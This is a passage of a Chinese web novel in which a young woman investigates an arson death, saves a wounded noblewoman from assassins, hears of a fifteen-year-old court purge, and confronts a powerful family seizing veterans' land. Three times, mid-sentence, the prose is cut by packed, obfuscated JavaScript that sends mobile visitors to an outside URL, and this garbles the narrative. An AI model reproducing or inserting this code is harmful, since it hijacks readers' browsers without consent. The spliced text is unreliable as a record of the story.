消息一出，阖府上下都惊愕哀叹，秦洪业吩咐常管家备上厚厚的银两，亲自前往陶家慰问，看看有无需要帮衬之处，又低声交代他留心关注陶大夫家何时操办丧仪，届时秦府也要派人前往，送陶大夫最后一程。 晚上，秦明月躺在床上，翻来覆去地难以入眠，脑子里全是白天的事。 大火、焦尸、陶夫人的哭声，还有谢长龄那句意味深长的话...... 是被他发现了吗？可就算有被当作异类抓起来的风险，她也没办法对如此惨绝人寰的人祸视而不见。 如果是自然起火，地蜂怎么可能全死在洞里？只有人为纵火，火势突然爆发才会这样。 希望京兆府真的能还陶大夫一个真相。 还有母亲当年的医案...... 想到这里，她猛地坐起身来，冷气骤然冲击，她忍不住抖了两下。 这两件事，应该没有关系吧？ 窗外月光冷冷地照进来，她呆愣了片刻，复又缓缓躺了下去。 同样的黑夜里，有一个人与她一样，在床上辗转反侧，心绪久久难以平静。 翌日，秦明月结束书院课程后，照旧让梅兰姐妹二人先行回府。 兰意想说什么，话到嘴边，又咽了下去，只低低提醒一声“注意安全”，便带着梅风回府了。 陶氏医馆已在大火中化为灰烬，因此，陶家将陶大夫的灵柩暂时停放在了城南的普济寺中。 秦明月先在火灾遗址处仔细察看了一番，见没有什么遗漏的线索，才转往普济寺吊唁。 陶大夫的灵堂设在寺中往生堂内，许是事发突然，家中不及准备，一口尚未上漆的松木棺材安置在厅堂正中。棺前的供桌上，立着一个书有“陶公讳广然之灵位”的灵牌。 不过，京兆府对此事尚未有定论，堂中应该只是一具空棺。 前来吊唁的人络绎不绝，多半是曾受过陶大夫恩惠的百姓，自发赶来送他最后一程，秦明月随队伍缓缓步入。 幽暗的佛堂内，陶夫人跪在蒲团上，神情麻木，机械地向火盆中投入黄纸，一位年轻男子立在侧旁，向每一位祭拜者郑重回礼，想来应是陶大夫的儿子。 等进了往生堂，秦明月接过陶氏族人递来的线香，躬身三拜，将香插入炉中。 因是知道这桩惨祸极有可能是人为，却又无法同陶家说明，她不忍面对悲痛欲绝的陶家众人，敬完香就匆匆走了出来。 重新站回普济寺门口，秦明月深深呼出一口浊气。 正想往回走，眼角突然看到一个熟悉的身影。 12. 出手救人 女子头戴围帽，穿着一身素衣，鞋头缀白，虽然背对着自己，但周身的气质却掩盖不住。 “李敖，你看那个女子，眼熟不？” 秦明月用胳膊肘捅捅李敖。 “似乎是......赵峻的夫人？” “你也这么觉得？那我应该没看错。” 不过，她怎么会来这里？还一副戴孝的打扮。如果她记得没错，今日寺中应该只有陶家的丧仪。 想到这，她调转脚尖，跟住前方女子的身影。 赵夫人并未直接从普济寺的大门进入。相反，她沿着院墙转到了寺院的后门，一路上，还时不时四下张望，似乎在躲避什么。 等行至后门，她隐身至外围角落，一手取下围帽，一手接过车夫手中的装满纸钱的竹篮，跪着点燃。 跳跃的火光中，女子苍白的面上遍布泪痕，不多时，纸钱燃尽，赵夫人用力朝地上磕了三个头。旋即，起身重新戴好围帽，快速往来处移动。 陶大夫和赵夫人有什么关系吗，为何如此偷摸行事？ 秦明月越想越不对劲，心中快速合计，脚下不停，紧紧跟上了远处的身影。 赵夫人的马车停在了普济寺山脚。可惜秦明月和李敖今日是步行来的，眼看马车就要扬长而去，秦明月心中懊恼。 谁知，抬眼就看到一辆马车缓缓驶来，车前的荷举远远看见她，高兴地一边向她挥手，一边急忙让车夫架着马车走近。 这可真是一瞌睡就有人递枕头！ 来不及细思荷举为何会驾着马车来此，秦明月带着李敖飞身上车。 “荷举，我现在有一桩紧急之事暂且不便回府，你也暂时不要回去，马车借我一用，若无处可去......” 听出迟疑，李敖快速接话，“在下有座宅院，在京兆府府衙对面巷子中，黑色大门，钥匙在门口的石狮子口中。” 说完不等荷举反应，二人催促车夫朝着赵夫人离开的方向驶去。 许是耽搁了一会，偌大的官道上已经没有了马车的踪影。 李敖坐在马车外，凝视着一段湿滑路面上新鲜的车辙印。 “大小姐，她们应是沿着这条路走的，再赶一赶，应当能追上。” 秦明月魂不守舍地点点头，不知为何，她心中总弥漫着一丝不安。 马车在官道上飞驰了半晌，车厢内突然传来秦明月的声音。 “不对！快停下！” 李敖快速拉紧缰绳，“大小姐，怎么了？” “情况不对！赵夫人乘坐的马车是一驾的，我们的马车两驾的，且已是全力追赶了，她比我们早出发绝不超过一盏茶的功夫，可到现在甚至没有看到马车的影子。” “难道……我们跑错方向了？” “应当不是，往祁阳只有这一条官道，且刚刚我也看过车辙印，应当是赵夫人的马车没问题。” “那？” “除非半路她们改变了方向！刚出发路过的那一段有水的路面说明他们确实是往这个方向跑的，可后来路面都是干的，并不能证明他们始终行驶在官道上。” 似是拿定主意般，秦明月立刻吩咐：“马上掉头！” 马车再度往相反方向行驶。这一次秦明月也坐到车外，仔细观察路边情况。 通往祁阳的官道两侧都是樟树林，树林深处，广阔的树冠几乎要遮天蔽日。 大约行走了百米，李敖眼尖地看到了一个竹篮倒扣在树林中，二人迅速下马车，往林中走去。 秦明月蹲下仔细打量，竹篮已经破损，篮底的竹篾被齐刷刷砍断，提手处隐约能看到一点血迹，竹篮周边的草歪七扭八地倒伏着，这里不久前应该经历过一场激烈的搏斗。 突然！ 扑棱棱—— 远处的树林里，响起鸟雀受惊飞起的声音。 李敖迅速站起身，望向鸟群飞起的方向，侧耳细听，“小姐，在那边！” 顺着他手指的方向，二人快速向密林深处移动。 疾行了不到一公里，耳边的刀枪金鸣之声越来越清晰，远处有人影交错。 李敖谨慎地抽出佩剑，挡在秦明月身前，二人伺机找了两棵相邻的树，掩去身型，仔细观察起当前状况。 不远处，只见五个蒙面黑衣人手持长剑，死死围猎着赵夫人和车夫。 车夫手上一对流星锤以一敌三，身量纤弱的赵夫人竟也手持一柄软剑在凛然的杀机间奋力游走。 一名杀手突然暴起，脚蹬树干直冲赵夫人，对方避让不及，只能以软剑相缠，正面应敌，剑锋擦过面颊，围帽瞬间落地。 来不及反应，侧面又是一道杀机冲来，车夫见赵夫人左右难支，硬生生受了一剑，赶来挥锤替她挡下杀意。 二人虽配合紧密，但以一敌多，终是落了下风，很快赵夫人手臂、腿上有血迹渗出。 李敖询问的眼神望来。 对方招招致命，若想救二人，仅靠李敖和自己三脚猫的功夫，怕是要一起折在里面。 秦明月简略思索，从袖中掏出一个绿色圆肚瓷瓶递给他，附耳吩咐。 很快，一道湖绿色的身影就穿梭进了“战场”。他神出鬼没地游走在黑衣人之间，瞅准时机就将药粉撒到黑衣人的面门之上。 卫燕锋若是在此，就会发现李敖手中拿的是他昨日交给秦明月的舒筋活络散。秦明月后来仔细辨别过，这药散中含有大量蟾酥、胡椒和细辛。 突然加入的战力，瞬间打乱了了对方的攻势，不知是谁第一个中招，药粉刺激眼睛剧痛发出的尖叫响彻林间。 车夫见状，快速反应，与李敖打起配合，他们一人下药，一人抡锤，战场形势逐渐逆转。 见攻势骤减，秦明月趁乱跑至赵夫人身侧，伸手拉过对方，撒腿就往反方向跑。 药粉并不是什么毒粉迷药，只能起到拖延时间的作用。 更要命的是，她也知道对面有没有接应，呆愣楞地留在原地绝不是一个明智之举。 也不知道跑了多久，耳边渐渐没了黑衣人眼睛受到刺激后剧痛的叫声，只剩下二人穿过密林，脚踩草丛哗哗的声响和急促的呼吸声。 秦明月不时抬头看看已经快要落山的太阳，终于在一条驳着三条商船的河流前停下脚步。 身后传来膝盖重重跪在地上的声音，赵夫人颤抖着收回手，“秦姑娘，你先走吧，我实在走不了了。” “你记得我？” “秦姑娘当日在赵家那般灵慧通透、凛锐昭朗的风姿，如何忘得了。” 她抬起满是血污的脸，“今日姑娘又为我涉险至此，晚意感激不尽。” “无妨。赵夫人，你为何会来京中，又是谁要对你下如此杀手？” “呵，总不过是那些余孽。”赵夫人一手捂着腹部，咬牙开口。 余孽？ 秦明月刚想开口进一步询问，谁知赵夫人竟一头栽倒在地上。 她急忙扶住对方，手抚过赵夫人的外衫，才注意到赵夫人的腹部竟有一个巨大的伤口，正汩汩往外流血。 对方面色惨白，呼吸急促，这是失血过多的症状，若是不赶紧止血，怕是危在旦夕。 秦明月焦急地四处张望。此时，太阳已完全下山，仅剩一丝残存的光亮勉强照亮四周。 秦明月重新将视线投向河中的三条大船。 死马当作活马医吧，她蹲下身，咬牙叉住赵夫人的胳膊，奋力将人往河边拖动。 “有人吗？救命啊！” 还未走至船边，原本不闻人声的船上突然亮起火把，冲下来一队身着统一服装的侍卫，将二人团团围住。 “站住！来者何人？” “这是我姨母，回家途中遭遇匪患，不幸重伤，还望贵人施以援手，救人一命！”秦明月托词。 “我们只是商船，船上没有大夫，姑娘另想他法吧。” 眼看对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041607|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不打算帮忙了，秦明月看着生机渐失的赵夫人，急得从发间拔下一枚金簪，快步走上前去。 “壮士，救人一命胜造七级浮屠，事后，我们必有重谢！” “秦姑娘？” 一个犹疑的声音自对面响起。 秦明月倏地抬起头，火把的亮光中，彼此都看清了对方的容貌。 “樊大哥！” 是通济盐号的镖师！那日就是他与自己谈论武昭之事。 “樊大哥，求求你，救救我姨母！等我的侍卫一来，我们马上就走，一定不给你们添麻烦！” “好好好，姑娘，你先别急。”樊荣与其他人快速打了个手势。 “我现在就去禀报少东家，秦姑娘，您稍等。”说完，便急忙跑回船舱。 秦明月将地上的赵夫人再度扶起，半倚靠在自己身上。 此时，她已完全丧失了意识，手掌、面颊一片冰凉。 秦明月内心焦急万分，急忙脱下外衫罩在她身上。 好在不多时，樊荣一路小跑冲出船舱，他一边招呼工友帮忙抬起赵夫人，一边与秦明月解释。 “你们运气好，咱们船上虽然没有大夫，但少东家略通岐黄之术，刚刚我回禀后，少东家同意帮忙看看。” “全仰仗樊大哥与贵人了，不知一会该如何称呼？” “东家姓林。” 说话间，赵夫人已被抬至一间船室的卧榻上。 船室的正中间，一名身着墨色深衣的男子背手而立，身形挺拔如剑，正望着舷窗外晦暗的天色，他周身并无多余佩饰，唯有手中一把短刃，在灯下流转过一线凌冽的光。 “少东家，这位就是秦小姐，以及她的亲眷了。” 男子低低嗯了一声，眼神随意地从秦明月脸上划过，沉步往卧榻走去，秦明月急忙拔腿跟上。 床榻边，男子将短刃在火中来回烧灼几遍，随即挑开赵夫人伤口的衣襟，凝眉查看。 “伤口窄而深，是长剑所致；伤在左腹外侧，此处脏器较少，但血管密布；剑深约两寸，如若再偏内半寸，便伤及肝肠，恐怕大罗神仙来也难救。好在伤口还算齐整，她现在应只是失血过多。” 说完，他也不管秦明月的想法，径直将短刃送至她手里，“一会按我说的做。” 很快，就有人端来了热水、纱布、剪刀、镊子等物，对方背对着卧榻，不急不缓地开口。 “剪开她的衣物，将镊子至于火上燎烧五息，用短刃撑开伤口，再用镊子清理......” 原本已经不怎么流血的伤口因这动作又一下子渗出血来。 秦明月背后瞬间涌起了一阵热汗，手下颤抖，几乎夹不住伤口中的碎石粒。 对方仿佛背后长了眼睛般，继续说道，“你要是想她少受罪，就稳住手脚，清理伤口流点血，死不了。” 闻言，秦明月深吸一口气，凝起心神，重新清理起伤口来。 时间一分一秒过去，摇晃的船舱内，只有男子沉稳的指导声和船外传来的水流声。 等秦明月按步骤处理完伤口，直起腰来，紧绷的神经一下子松开，整个人竟瞬间恍惚，站立不稳，一下子便要往船板上摔去。 片刻后，想象中的疼痛并未到来，反而落进了一个盈满广藿香清苦香气的怀抱。 四目相对，秦明月有一瞬间的愣怔。 笃笃笃—— 门外突然传来敲门声，秦明月赶紧起身，捋了捋衣袍。 “少爷，岸上有个穿绿衣服的男子自称是秦小姐的护卫，想要求见。” “是李敖！” 秦明月眸光一亮，“林公子，那是我的护卫，可否让他过来？” 林肃看着少女瞬间飞扬的神采，朝来人点了点头。 李敖很快上了船，简单说明情况后，秦明月转身向林肃行了一礼，便打算带赵夫人离开。 “你们这么就想走了？”林肃突然开口。 13. 前廷旧事 “背？还是两个人抬？不怕路上颠簸，伤口再裂开吗？” “我们......” “还是打算一人拖着昏迷的人在河边等，另一人跑回去喊人？” 林肃以手支着下巴，眸光定定望向秦明月。 “这里可是百樟林，寻常马车可进不来。” 秦明月一时语塞，她确实是想着让李敖回去搬救兵来着，可经由对方提醒，她才惊觉这片树林树冠遮天蔽日，林下空间远比看起来更狭窄逼仄，马车根本转不开身。 “我正好要将这批货物送回京中，姑娘若信得过再下，便同商船一起走水路回去吧，明日晌午前也就到了。”见少女面露难色，林肃提议。 秦明月略作思考，不好意思地接受了这个提议，李敖则快马加鞭回到京中报信。 林家的商船在翌日晌午准时停靠在了京中安平粮渡，还未下船，秦明月在甲板上就看见了等候在岸边的秦洪业，心中涌起一阵愧疚。 等船停稳靠岸，秦洪业第一个走上前，朝秦明月伸出手，将她扶上岸。 “父亲......” “回家再说吧。”温热的手掌轻轻拍过她的手背。 “感谢林公子对小女的照拂，秦某感激不尽。” 林肃微微欠身，一双狐狸眼里满是笑意：“秦大人言重了，晚辈家中行商，水路来往本是常事，顺路捎客这种小事不足挂齿。” 一个朝堂干臣，一个商界翘楚，两人三言两语间，心照不宣地将昨日的刀光剑影化解成顺路捎客。 回去的马车上，气氛凝滞得可怕。 秦明月刚想开口认错，秦洪业长长叹了一口气，声音里满是疲惫。 “月儿，为父年岁渐长，经不起这般风浪了，下次你仗义行事前，可否先想想自己和为父？” “女儿，记下了。” 秦洪业望着她内疚的神色，伸手轻轻拂过她沾满尘土的衣角，不忍再多责怪，“衣裳脏了，回去换了吧。” “好。父亲，那赵夫人......” “李敖已经将人送到最近的医馆了，”像是知道她心中所想，他继续说道，“歹人既然选择在百樟林动手，便是想掩人耳目的，京中医馆人多眼杂，反而安全。” 秦明月点点头，不再追问。 不知不觉，马车已经到了秦府，回到院中，她简单洗漱一番，一头栽进床榻，这不能怪她，又是逃命又是“行医”，神经紧绷了一天一夜，她确实累坏了，这一觉，秦明月睡得极沉。 等她再次醒来已经日暮西斜，她就着荷举端来的吃食，听李敖简单汇报赵夫人已经醒来一事。 想起府医火灾，未免夜长梦多，秦明月决定即刻前往医馆询问情况。 临行前，她托小厮给秦洪业捎去了口信，并约定了归家时间。 到达医馆时，医女正在帮赵夫人腹部的伤口换药，赵夫人疼得浑身颤抖，豆大的冷汗顺着她苍白的面颊滑落，可她却咬着棉布一声不吭，等医女换完药走出去，整个人已经湿得仿佛刚从水里捞出来的一般。 “夫人这般忍耐，实非常人所能。” “皮肉之苦，如何比得上至亲凋零之痛。”见来人是她，赵夫人扯出一丝极淡的笑意。 “哦？昨日我曾见夫人悄悄祭拜陶大夫。”秦明月放下手中装有干净衣物的包裹，略显随意地坐到凳子上。 “那是我的舅父。” “既是至亲，夫人为何不正大光明地前去祭拜？” 赵夫人沉默了半晌，认真看向秦明月，“秦姑娘，我知你聪慧，但慧极必伤，有些事若要深究，昨日那些杀意便要日日悬于头顶了。” “所以......陶大夫，就是死于这些不能深究的杀意吗？” 哐当——赵夫人手中的药碗瞬间四分五裂，浓墨似的药汁尽数洒在地上。 她嘴唇颤抖，“秦姑娘，你的意思是......我舅父死于人祸？” 秦明月并不开口，只直直与她对视，坦然的态度已然说明一切。 “是他们！一定是他们！十五年了！已经十五年了！我归家已凋零至此，为何他们还要如此赶尽杀绝！” 赵夫人激动地捶打床板，腹部的白色绷带瞬间洇出一团团血迹。 “夫人，夫人，你冷静！” 秦明月一边按住她的手，一边朝门外大声呼唤医女，车夫与李敖闻声急忙推门而入。 等赵夫人的伤口再次处理好，已是一刻钟过后，赵夫人面色惨白地靠在床头，闭着眼睛默默流泪。 “夫人，到底是谁要对你们下此毒手？” “秦姑娘，你当真...不怕吗？” “时隔十五年，对方尚能下此毒手，昨日我与李侍卫在百樟林并未遮面，若对方有心，夫人当真觉得我能安然无恙？” “也好，也好。明枪易躲暗箭难防，告诉你们也好。”赵夫人的脸上露出惨然一笑，眼神逐渐空虚。 “十五年前，朝廷的立储之争已经到了你死我活的地步，我父亲时任太医院院正，他为官始终谨守本分，从不站队。可谁知，一朝前廷“战火”烧到了后宫。那年春天，贤妃临产在即，德妃带着‘安神汤’前往探望，一碗下去便再没醒来。贤妃母子双亡，事后皇家需掩此丑闻，我父亲便成了‘用药失察、延误救治’的渎职罪人，我归家被夷三族，一百二十八口人啊！问斩的问斩、流放的流放......不对，流放的，不过换了种更痛苦的死法而已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041608|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 说到这里，赵夫人绝望地闭眼仰起头，泪水顺着眼角不住流淌。 “夫人，您节哀。” 再多语言在如此惨绝人寰的家族祸事前都显得苍白无力，秦明月默默将一块白棉布递给对方。 “我外祖家是淮阳曹氏，子息繁盛，舅父是家中幼子，最得长辈偏疼。后来与舅母陶氏议亲时，陶家只得这一位千金，有意招婿入门，两家商讨之下，最终折中让舅父改姓入继陶家，再行婚仪。” 她顿了顿，接着说，“正是这一纸改姓的文书，阴差阳错，让舅父逃过了后来曹家的夷族之祸。可谁知！十五年了！龙椅上那位还是不肯放过他啊！”赵夫人痛苦地抓紧胸口的衣物。 “夫人，慎言！”秦明月起身走到窗边，谨慎地扫视一遍后，将窗户关上。 “按照您所说，当年之事归家不过是‘替罪羊’，何至于时隔十五年还要赶尽杀绝？” “是啊，事发后我也困惑多年，我父亲一生忠直勤勉，从未结党营私，狗皇帝为何对我归氏一族下如此狠手？” 她的喉间溢出极其怨毒的冷哼，“后来我才想明白，不过是我父亲见识过他那些腌臜的阴私手段，想要杀人灭口罢了，只有我们全族都是死人了，他才放心！” 这得是多大的丑闻需要夷人三族？若真是如此，陶大夫一案又如何推得下去？ 秦明月一时无言，顺手给赵夫人递过一杯热水。 以为自己吓坏了她，赵夫人安慰道，“秦姑娘，你不要慌，如果我猜得没错，百樟林的那帮匪徒，不过是赵峻后院里那些人的‘手笔’，若真是上面那位，哪里有我们逃脱的机会。”赵夫人自嘲一笑。 秦明月心事重重地点点头，“对了，那您怎么......” “我怎么没有被灭口？因为当初押送我流放的解役是赵峻的父亲，他此生最大的愿望就是给儿子娶个高门出来的女子，丫鬟也成，外室不拘，更何况流放在外的罪臣嫡女？路上‘死’一个两个，又有谁会来追究？” 说完这些，她无力地闭上双眼。 见对方气息不稳，整个人肉眼可见的虚弱，秦明月替她掖好被子，叮嘱两句后，轻声退出房间。 此时，天色已擦黑，医馆内已燃起了一豆豆烛火，秦明月心事重重地带着李敖往门口走去。 刚出医馆大门，就看见一辆熟悉的马车停在医馆墙边，秦洪业见她出来，接过小厮手上的灯笼，稳步向她走来。 “月儿，爹来接你回家。” 柔和的灯光照亮了父亲眼中的慈爱，将原本沉浸在赵夫人家破人亡悲凉心境中的秦明月打捞上岸，她深深吐出一口寒气，不自觉地挽住父亲的臂膀，轻声回应：“好，我们回家”。 14. 绿水之争 女主showtime 次日，书院休假，秦明月因前日睡得多了，便起得早了些。 思前想后，她将陶大夫生平与归氏一族的旧案简单写下，托李敖转交给谢长龄，以谢大人当代“秦镜”之名，应当能从其中找到蛛丝马迹。 刚送走李敖，门房处就通传来了一位卢小姐。 很快，一袭红衣的卢琼华如百灵鸟般冲进了望舒阁，热情地邀请秦明月同去南山赏梅。 卢府的马车已早早等候在了秦府门口。秦明月一掀开车帘，就看见里面已挤挤挨挨地坐着顾家三姐妹，顾克柔亲热地搂住她的胳膊，将她“按”在了马车正中间。 “表姐！表姐！我听韫姐姐说看到卫教习给你送药了，你可是伤到哪里啦？”小姑娘掀掀她的衣袖、摸摸小手，上下打量。 “没事的，用力过猛，肌肉酸痛罢了。倒是你，怎么不在家多休息休息，还出来乱跑？” “我又没受伤，那日卫教习来得及时，我什么问题也没有！”顾克柔调皮地挑挑眉，嘴角露出一抹坏笑，“不过某些‘罪魁祸首’可就惨咯！” “克柔，慎言！”顾克韫语带嗔怪，眼中却没有责备的意思。 “都是自己人，怕什么？表姐，你听说了吗——” 卢琼华贼兮兮地靠近，用手掩着嘴巴，“魏来仪回家被罚跪了一夜的祠堂呢！” “对对对！我还听说那日跟着她出来的婢女遭殃了，被打得半残还遣回家了，据说已经不成人样了，是由魏府用一张铺被‘拎’出来的，估计......” 剩下的话谁也没说，但大家都知道，怕是凶多吉少了。 秦明月心里堵得慌，她自幼随师傅、师兄生活在市井，所能经历的不过就是乡亲邻里的口角恩怨，不是没有听过大户人家弄出人命官司的，可那终究是隔着一层的传闻。 现在，她间接参与过的、生活中真实存在的人，就这么无声地死于权势的迁怒。 寻常百姓的命就如此轻贱吗？ 联想到归家一案，又岂止是寻常百姓？ 皇权之下，众生皆是蝼蚁。 “表姐，回神。” 顾克韫看出她的走神，递上一杯水，“你家二妹妹不是说过吗？秦府家训——习礼、立身、正己，我们但行己事，无愧于心即可。” “嗯。” 秦明月不也想她们太过担心，不再深究这个话题，转而问道：“那魏来仪究竟为何对我们有这么大的敌意？” “呵，权欲熏心罢了，来仪来仪，野心都要写在脸上了！” “来仪？”秦明月一下子反应过来，“有凤来仪？” “不错，魏家不过家臣出身，出了个得宠的丽妃，装起累世名门来了，这是尝到了甜头，想再出个皇后娘娘呢！” “可后宫不是有.......”况且姑侄同侍一夫，他们魏家敢，圣上也不要清名了？ “表姐，你想什么呢？！她的目标是太子！听闻太子最快明年就要选妃了，她这是把京中适龄的贵女都当成假想敌了。”顾克柔下巴扬起，翻了一个白眼。 “不论人是非的的道理都学到狗肚子了去了，”顾克韫轻拍妹妹的头。 “此事更深层的原因，还是在于朝堂上的政见不合，父亲虽对姑母一事成见颇深，但咱们包括琼华家中，都是坚定的经术取士、武力镇藩一派，而魏家及其党羽则主张门荫、姑息。” 说完，她打开香扇，轻轻摇晃起来。 马车一路疾驰，很快到了南山。大家下了马车，往山中提前准备好的赏梅佳处走去。 等到了凉亭，几人刚刚落座，便见一个少女如旋风般，自山上往后山脚跑去，后面还坠着几个好友，口中不停喊着：裕贞，等等！你慢些啊！ 其中一人见顾克韫，急忙退了回来。 “阿韫，正好你在，快！快！帮忙遣个人到裕贞家中，就说、就说......” 那女子手插着腰，上气不接下气，“就说魏家派人强拆绿水庄了，情况紧急，别闹出人命了。” 说完，那女子再次往名叫裕贞的少女奔跑的方向追了过去。 这？众人一头雾水。 顾克韫率先反应过来，立即吩咐侍卫下山去武卫营统领府，心中犹不放心，目带询问地望向众人。 “我们也去看看什么情况吧！”卢琼华心领神会。 众人都没有异议，于是，刚刚爬上山的几人，又一同哼哧哼哧地往山下跑去。 “这个绿水庄原本是前朝齐王的私产，齐王当年戍边领军，塞北一役后许多伤兵退役无处可去，他便将这些人安置到绿水庄中，给了他们一条生路。”顾克柔一边赶路，一边气喘吁吁地和秦明月科普。 “后来齐王犯了事，陛下仁厚，念在这些人皆是曾为国负伤的老兵，便未收回庄子，也未牵连庄中众人。如今的武卫营统领高明，就是当年那些退居绿水庄的兵卒后人。” “哎呦！”一个不注意，顾克柔脚下一滑。 “当心些!” “没事。”顾克柔松开秦明月的手，“因此，魏家想要强占绿水庄作私人跑马场时，他极力阻拦，怎奈魏家又在朝堂之上吹风要将此处开辟为练兵场，双方各执一词，始终僵持不下。” 好家伙，又是魏家！ 快到山脚时，顾克娇突然惊呼出声。 “快看！那是不是裕贞姐姐？” 众人齐齐抬头，只见不远处的一处庄子门口，一个身形高挑、肤色微黑的少女，张开双臂，死死拦在大门前。 她的身后，站着一群拿着锄头、钉耙、竹棍的庄户。有白发垂髫的老者，有义愤填膺的青年，有牵着孩子的妇人，还有高高挺着胸膛的小子。 他们对面，是一群身着统一靛蓝官服、腰佩制式腰刀的官差。为首的青年男子高坐马上，一柄长枪直指高裕贞，现场气氛剑拔弩张。 秦明月等人心内暗道不好，再次加快步伐，往庄子跑去。 “高小姐，这是何意？开辟练兵场乃固国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041609|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安邦大事，望高小姐可不要犯了糊涂，误己、误人。” 男子阴鸷的眼神扫过高裕贞背后的百姓，言语中是明晃晃的威胁。 “魏中阳，收起你道貌岸然的说辞，你们揣着什么心思，打量我不知道吗？！” “看来高小姐对我们误会颇深呐，中阳本该与大家慢慢分说，怎奈重任在肩，军务紧急，怕是要舍小全大，先顾国事了。” “哥哥，你与她废什么话！绑了她，强拆了这破庄子就是！” 顾克柔听清声音后，忍不住翻了个白眼。 怎么哪里都能碰到这个‘瘟神’？！跪一夜祠堂还不够她长记性？ “魏小姐，果然还是深谙解决事不如解决人的道理啊，这手釜底抽薪的功夫，当真是一如既往。”秦明月一边鼓掌，一边冷然出声。 “又是你们？！” “克韫！琼华！”高裕贞惊喜地转过头。 顾克韫等人缓缓走近，安抚地朝高裕贞一笑，“没事，我们都在。” 旋即转头望向魏氏兄妹，“我倒要看看，是谁的铁蹄敢踩到伤退老卒的脊骨之上。” “顾大小姐，难道曾老大人没有教过你什么是以国事为重吗？” 顾克韫的外祖父是御史大夫曾庆之老大人。因此，平日里贵女们见她，多有忌惮。 “国事？何为国事？开辟练兵场是国事，安顿伤退士兵就不是国事了吗？魏家如此行事，将来又有谁愿意在这练兵场上为你操练？在我看来，魏公子此举与动摇国本无异啊！” “牙尖嘴利！本公子不与你多费口舌，来人！给我将这庄子围了！若有阻拦者，以妨碍公务问罪！” 战火再度一触即发。 “谁敢！”一旁的秦明月突然暴喝出声。 只见，少女左手高举京兆府腰牌，右手快速拔出身边侍卫的佩刀，剑指魏家兄妹。 “京兆府执掌京畿治安律令！凡有强占民产、聚众滋扰者，皆可立捕查办！魏公子，今日你们若敢动手，便是公然犯禁！明日，我们便敢去宫门口敲登闻鼓！” “你又是何人？”魏中阳面色阴沉。 “我是何人不重要。”秦明月握紧刀柄，刀尖直指前人。 “敢问魏公子，今日言之凿凿征用绿水庄，朝廷拨用令何在？” “官府征用册何在？” “《田令》规定的征用补偿又何在？！” 每问一个问题，秦明月便举剑前进一步，身后众人也随之逼近一步。 第三步踏下，刀尖已停在魏中阳马前三尺。 “秦明月，你好大的胆子，竟敢持剑逼问魏家！”魏来仪尖声叫道。 “闭嘴！”秦明月厉声呵斥，扑面而来的威压吓得她喉头一窒。 “魏公子，”她轻抬刀尖，声线冰凉，“请你回答。” 顿了顿，见对方没有回应，她又讥诮道：“或者，魏公子说说是奉了哪位大人之命也可，总不好教您白白担了这贼首之名！” 15. 他的心动 谢长龄与高明赶到时，见到的便是这样的一幕。 耀眼的日光中，一袭鹅黄素衣的少女昂首立在魏中阳马前，风卷过庄子前的尘土，裹起她飘扬的长发，可少女手中厚重的长刃却纹丝不动，剑尖直指高坐马背的魏中阳。 魏家带来的差役虽将她半围在中央，明明人多势众，却无一人敢动。 没来由的，谢长龄相信对方一定能解决今日之事，便拉着高明停下脚步。 绿水庄门口，魏中阳见秦明月拿着腰牌步步紧逼，又看见站在不远处的高明和谢长龄，知道今日怕是无法成事，于是恨恨地瞪了秦明月一眼。 “你们给我等着！”说完，便拉动缰绳，调转马头，带着人离开了。 “赢了！我们赢了！” “明月！你刚刚简直像是画本子里的女侠！” “明月，你真的太棒了！” 激动地叫嚷声中，顾克柔等人率先冲上前来，紧紧抱住秦明月，青山绿水庄的众人也如梦初醒般潮涌上前。 少女轻轻甩动酸胀的胳膊，眸光却清亮得动人。 不知是谁先喊出第一声明月，“明月！”“明月！”的呼声骤然响起，与少女的笑意一同被旷野的风吹进不远处一个人的心里。 “父亲！” 片刻后，高裕贞惊喜地看向不远处的高统领，尔后如乳燕投林般飞扑进父亲的怀中。 秦明月循声望去，这才发现谢长龄竟也来了。 她捏了捏袖中的腰牌，与顾克韫等人交代了两句，便向对方走去。 “谢大人，今日情急，我擅自用了京兆府的牌子......”她不好意思地将腰牌递还回给谢长龄。 “无妨，腰牌用在此正合适，你做得很好。” 谢长龄也不接，笑盈盈地望向远处，“走吧，你的朋友还在等你。” 已近晌午，众人一起在庄子用起午膳。 热情的庄户人家端来了大海碗的红烧肉、新鲜的荠菜鸡蛋，还有松蘑炖鸡等硬菜。顾氏姐妹、高家父女、谢长龄、秦明月、卢琼华一行人挤挤挨挨地坐在了一张八仙桌上，席间，高统领等人再次向秦明月表达了谢意。 “话说，明月，你怎么会有谢大人的腰牌？” 卢琼华一边扒饭，一边随口问道。 这......要怎么回答？ 